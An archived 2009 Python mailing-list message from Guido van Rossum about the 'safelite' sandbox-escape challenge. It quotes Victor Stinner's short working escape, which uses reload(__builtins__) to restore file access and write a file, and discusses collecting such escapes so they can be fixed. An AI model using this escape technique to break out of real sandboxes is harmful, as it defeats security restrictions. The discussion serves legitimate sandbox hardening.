On Mon, Feb 23, 2009 at 1:36 PM, Guido van Rossum <guido at python.org> wrote: > On Mon, Feb 23, 2009 at 1:12 PM, Victor Stinner > <victor.stinner at haypocalc.com> wrote: >>> The challenge is simple: >>> >>> * Open a fresh Python interpreter >>> * Do: >>> from safelite import FileReader >>> * You can use FileReader to read files on your filesystem >>> * Now find a way to *write* to the filesystem from your interpreter >> >> Well, the challenge is to get access to a module. And... it's quite simple :-p >> >> $ ./python >>>>> from safelite import FileReader >>>>> __builtins__.file >> Traceback (most recent call last): >> File "<stdin>", line 1, in <module> >> AttributeError: 'module' object has no attribute 'file' >>>>> reload(__builtins__) >> <module '__builtin__' (built-in)> >>>>> file('0wn3d', 'w').write('w00t\n') >>>>> >> $ cat 0wn3d >> w00t >> >>> Dinner and drinks on me for an evening -- when you are next in London >>> or I am in your town -- to the first person who manages to break >>> safelite.py and write to the filesystem. >> >> Cool. It's a good reason to go to Pycon UK this yeak ;-) > > Tav should have made another stipulation: the attack must not be > trivial to fix. This one seems trivial, e.g. by adding 'reload' to the > list in secure_python_builtins(). I take it back, we need to find all the trivial ones too. BTW Tav, you ought to create a small website for this challenge. A blog post or wiki page would suffice. -- --Guido van Rossum (home page: http://www.python.org/~guido/)
RetroSearch is an open source project built by @garambo | Open a GitHub Issue
Search and Browse the WWW like it's 1997 | Search results from DuckDuckGo
HTML:
3.2
| Encoding:
UTF-8
| Version:
0.7.4